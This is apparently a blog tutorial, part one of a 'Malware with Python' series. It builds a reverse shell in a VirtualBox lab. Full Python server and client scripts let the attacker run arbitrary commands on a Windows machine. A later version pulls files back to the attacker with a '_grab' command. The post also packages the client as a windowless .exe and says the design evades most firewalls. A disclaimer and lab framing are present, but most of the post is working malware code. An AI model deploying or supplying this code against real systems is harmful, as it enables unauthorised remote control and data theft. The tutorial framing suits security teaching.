Previous post

Next post

Welcome to the first post in the series Malware with Python. I’m not exactly sure how much and exactly what we will be going over down the track, but we’re going to start by designing some simple malware examples. The only requisite really is knowing python semi-fluently, for the time being we won’t be using any tricks that are too advanced. Some knowledge on networking or the socket library will most likely come in handy.

Note: The projects, ideas and examples presented in this series are made for educational and legal purposes only, do not try developing malware or doing anything illegal on a system that you do not own, or have permission to be doing so on.

With that said, lets now get started. For the time being, we’re going to be developing our software on a local network using VirtualBox. On VirtualBox, we will have two seperate VMs running Kali Linux 2018.2 and Windows 10. You may get a free Windows 10 machine from from here, which will be valid for 90 days. It is recommended that you set up a shared folder to make transferring files easier. Once both these machines are installed, configure them both to communicate on a host only network. This can be done by going to File>Host Network Manager and clicking Create.

It should look like this

Then on the network settings for each VM, select this new network under Host-only Adapter.

like this

If this is set up correctly, when booting up your VM you will be able to find the local ip addresses of the Linux and Windows machine with ifconfig and ipconfig respectively.

Like this

As you can see, the Linux machines has the ip 192.168.10.3, and Windows has 192.168.10.4. For the sake of the series, we will keep this consistent throughout.

Now that everything is set up, we’ll start by making a simple program known as a Reverse Shell. A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved. In our case, we will be making a program that will be run on the server (Kali Linux) which listens for incoming connections, and a program that runs on the client (Windows).

Here’s a sample program that will run on the Kali machine:

server.py

import socket

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("192.168.10.3", 8080)) #defines the machine ip and listening port
    s.listen(1) #only listens for one connection from one target
    print "Listening for incoming connections on port 8080"
    conn, address = s.accept()
    print "Connection from {}:{}".format(address[0], address[1]) #prints address and outgoing port from new connection

    while True:
        command = raw_input("{}>".format(address[0])) 
        if "_exit" in command:
            conn.send("_exit") #sends the string "exit" to the client program
            conn.close
            break
        else:
            conn.send(command) #sends the command to the client program
            print conn.recv(1024) #prints the first kilobyte of recieved data from the client

connect()

To see how this communicates with the client program, lets have a look at client.py.

client.py

import socket
import subprocess

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.10.3", 8080)) #connect to the server ip at port 8080

    while True:
        command = s.recv(1024) #recieve first kilobyte of command from TCP socket
        if "_exit" in command: #closes the connection and ends the program if command contains "exit"
            s.close()
            break
        else:
            cmd = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send(cmd.stdout.read()) #sends back the result of a command
            s.send(cmd.stderr.read()) #sends back an error if one occurs

connect()

When we run the listener on Kali with python server.py, we can now see that our program is registered as listening on port 8080

[email protected]:~$ sudo netstat -antp | grep "8080"
tcp        0        0 192.168.10.3:800       0.0.0.0:*         LISTEN      3817/python  

Now if we run client.py on the client VM with python client.py, we will see an incoming connection, and will gain a shell in the computer.

listening on port 8080:
connection from 192.168.10.4:49805
192.168.10.4>whoami
desktop-icegjee\admin

192.168.10.4

The way that the shell is currently set up, you can close the connection with the command _exit.

192.168/10.4>_exit

This is a very simple, but useful program, as it lets you control the shell of the other computer, and it will bypass most firewalls as the attacking pc is not the one initiating the connection, but rather the client.

Lets now step it up a notch. Lets add another feature that lets you transfer files from the client computer to the server computer. Here’s an updated version:

server.py

import socket 
import os      

def transfer(conn,command):
    conn.send(command)
    f = open(command.split("?")[1],'wb') #create new file with name of file requested
    while True:  #run until file is completely transferred
        bits = conn.recv(1024)  #recieve first kb of data requested
        if "invalid file" in bits: #check if file exists
            print 'Invalid file'
            break
        if bits.endswith('EOF'): #check if the full file is transmitted
            print 'File transfer complete'
            f.close()
            break
        f.write(bits)

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("192.168.10.3", 8080))
    s.listen(1)
    print "Listening for incoming connections on port 8080"
    conn, address = s.accept()
    print "Connection from {}:{}".format(address[0], address[1])

    while True:
        command = raw_input("{}>".format(address[0]))
        if '_exit' in command:
            conn.send('_exit')
            conn.close() 
            break
        elif '_grab' in command: 
            transfer(conn,command)
        else:
            conn.send(command) 
            print conn.recv(1024) 
        
connect()

client.py

import socket 
import subprocess 
import os

def transfer(s,path):
    if os.path.exists(path): #check if file exists
        f = open(path, 'rb')
        packet = f.read(1024) #read 1kb of data at a time
        while packet != '':
            s.send(packet) 
            packet = f.read(1024)
        s.send('EOF') #send "EOF" to mark end of file transfer
        f.close()
    else: 
        s.send('invalid file') 

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.10.3', 8080))
 
    while True: 
        command =  s.recv(1024)
        if '_exit' in command:
            s.close()
            break 
        elif '_grab' in command:            
            path = command.split('?')[1]
            try:                           
                transfer(s,path)
            except Exception,e:
                s.send(str(e))  
                pass
        else:
            CMD =  subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read()) 
            s.send( CMD.stderr.read()) 

connect()

Now, you are able to transfer files from the client computer to the server with ease with the _grab command. To use it, use syntax _grab<filename>.

192.168.0.4>_grab?file1.png
File transfer complete

Alternatively, you will be shown “Invalid file” if said file does not exist.

In the (likely) case that the client’s computer does not have Python 2.7 installed, as well as for simplicity’s sake, it is recommended that you convert your python scripts to a .exe file with the use of the program PyInstaller. Once it’s installed, it’s quite easy to use.

pyinstaller -F -w client.py -n client

The output will be stored in dist\client

Small note on the _grab command, from what i’ve tested with on my system, this command is somewhat buggy with slightly large to medium sized files. It exists mainly to show how such a feature could exist. If you wish to make such a program designed for more common use, it is recommended you utilize existing system commands to upload files, or set up the program to use something such as FTP. This is left as an exercise to the reader.  

That concludes the first part of Malware With Python, in the next post, i’ll hope to go over some more advanced and cool tricks with our reverse shell such as persistency, as well as setting up another shell which uses the HTTP protocol rather than TCP.


x89k

Python, C, Reverse Engineering, Security